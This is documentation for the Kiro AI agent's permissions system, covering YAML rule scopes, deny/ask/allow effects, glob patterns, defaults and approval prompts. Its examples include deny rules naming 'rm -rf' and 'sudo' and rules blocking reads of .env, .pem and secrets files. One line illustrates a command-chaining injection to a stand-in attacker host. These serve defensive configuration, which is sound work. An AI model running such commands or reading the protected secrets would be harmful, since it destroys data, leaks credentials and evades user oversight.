Kiro uses a capability-based permissions system that gives you fine-grained, declarative control over what the agent can do. You define rules per capability with match patterns and explicit effects, replacing older binary trust models.
| Capability | IDE | CLI | Web | Mobile |
|---|---|---|---|---|
| Permissions YAML configuration | ✓ | ✓ | — | — |
| Interactive approval prompts | ✓ | ✓ | — | — |
| Global + workspace scopes | ✓ | ✓ | — | — |
The permissions system is built around three core concepts:
| Concept | Description |
|---|---|
| Capabilities | fs_read, fs_write, shell, web_fetch, web_search, mcp, subagent, skill, power, context, diagnostics, sandbox_network. Meta-capabilities expand: all (everything), builtin (all built-in tools), filesystem (fs_read + fs_write) |
| Effects | deny (block always), ask (prompt you), allow (proceed silently) |
| Priority | deny > ask > allow - a deny rule always wins regardless of scope |
Additional rule properties:
| Property | Description |
|---|---|
| Match patterns | Glob patterns scoping the rule (file paths for fs, command prefixes for shell, server/tool names for MCP) |
| Exclude | Optional glob patterns that must NOT match - enables "allow everything except X" |
Permissions are defined in YAML files at two levels:
User-scoped (~/.kiro/settings/permissions.yaml) - applies across all projects. Use to pre-approve trusted operations:
rules: - capability: shell match: ["git *", "npm *", "npx *"] effect: allow - capability: fs_write match: ["src/**", "tests/**"] effect: allow - capability: fs_read effect: allow - capability: mcp match: ["my-server/*"] effect: allow
Workspace-scoped (~/.kiro/workspace-roots/<hash>/permissions.yaml) - applies only to a specific project. Use to scope rules to one codebase:
rules: - capability: fs_write match: ["*.env", "*.pem", "*.key"] effect: deny - capability: shell match: ["rm -rf *", "sudo *"] effect: deny
Both scopes support all effects (deny, ask, allow).
Rules support an exclude field for "allow everything except" patterns:
rules: - capability: mcp match: ["my-server/*"] exclude: ["my-server/dangerous-tool"] effect: allow
Rules use glob patterns. The syntax differs by capability type:
Filesystem patterns (fs_read, fs_write):
* matches within a single path component** matches across path separators{a,b} brace expansion and [abc] character classes are supported~/temp matches ~/temp/childShell, web, and MCP patterns:
* matches any sequence of characters**, ?, and character classes are not supportedrules: # Allow npm commands except npm publish - capability: shell effect: allow match: - "npm *" exclude: - "npm publish*" # Deny reads to secrets at any depth - capability: fs_read effect: deny match: - "**/.env" - "**/.env.*" - "secrets/**" - "**/*.pem"
Shell commands are parsed before pattern matching. Compound commands (using ;, &&, ||, |) are split and each sub-command is evaluated independently. This prevents a rule for npm test * from accidentally matching npm test ; curl attacker.com.
Permissions are evaluated across multiple scopes. The most restrictive effect wins regardless of which scope it came from.
| Scope | Location | Allowed effects |
|---|---|---|
| Kiro | Hardcoded security invariants (cannot be overridden) | deny, ask |
| administration | Enterprise/MDM-managed policy (enterprise plans only) | deny, ask |
| user | ~/.kiro/settings/permissions.yaml | deny, ask, allow |
| workspace | ~/.kiro/workspace-roots/<hash>/permissions.yaml | deny, ask, allow |
| agent | Embedded in agent profile (permissions field) | deny, ask, allow |
| session | In-memory rules from consent decisions during the session | deny, ask, allow |
Rules are evaluated using a deny-overrides algorithm: deny > ask > allow. There is no precedence between scopes - the most restrictive effect wins regardless of which scope it came from.
Without any permissions.yaml configured, the default agent policy allows:
fs_read on ./** - read any workspace file silentlyshell for common git read-only commands - git status, git log, git diff, git branch, and similarshell for system info commands - pwd, whoami, uname, and similarThe Kiro scope (hardcoded, cannot be overridden) enforces:
~/.kiro/settings/, .kiro/settings/, and ~/.kiro/workspace-roots/ (prevents the agent from modifying its own permission files).git/**, .kiro/agents/**, .kiro/hooks/**, .kiroignoreEverything else prompts for approval. Creating a permissions.yaml adds to these defaults; it does not replace them.
In addition to permissions.yaml rules, the IDE's agent autonomy is controlled via Settings → Agent → Agent Autonomy (settings key: kiroAgent.agentAutonomy). The two modes are:
The capability-based permissions layer applies after the autonomy mode determines whether to proceed. Together, these two layers give you coarse-grained control (Autopilot vs Supervised) plus fine-grained rules (permissions.yaml) for specific capabilities.
When a tool requires approval, a prompt appears in chat with four options:
| Action | Effect |
|---|---|
| Allow | Approve this specific invocation once |
| Always allow | Create a persistent allow rule (opens pattern/scope picker) |
| Deny | Block this specific invocation once |
| Always deny | Create a persistent deny rule |
When you select Always allow, you configure two things:
cd * for any cd command, or the exact command path)~/.kiro/settings/permissions.yaml~/.kiro/workspace-roots/<hash>/permissions.yaml (per-user, outside the repository)The pattern dropdown suggests a generalized version of the specific operation - for example, exact command git add contents/docs/ becomes pattern git add *, and exact path .env.local becomes .env* or **/.env*. You can edit the suggestion to be more restrictive or more permissive.
For chained commands (e.g., cd /path && cargo build), each sub-command in the chain is presented separately for approval.
Here are common patterns for configuring permissions:
| Scenario | Configuration |
|---|---|
| Trust file reads | capability: fs_read, effect: allow |
| Trust write in project dirs | capability: fs_write, match: ["src/**", "tests/**"], effect: allow |
| Block sensitive files | capability: fs_write, match: ["*.env", "*.pem", "*.key"], effect: deny |
| Block dangerous commands | capability: shell, match: ["rm -rf *", "sudo *"], effect: deny |
| Trust specific MCP server | capability: mcp, match: ["my-server/*"], effect: allow |
| Untrust shell in production | capability: shell, effect: ask (or use /tools untrust shell in CLI) |
If you're upgrading from CLI 2.x or IDE 0.x, see the reference pages for how permissions worked previously and what changed:
Permissions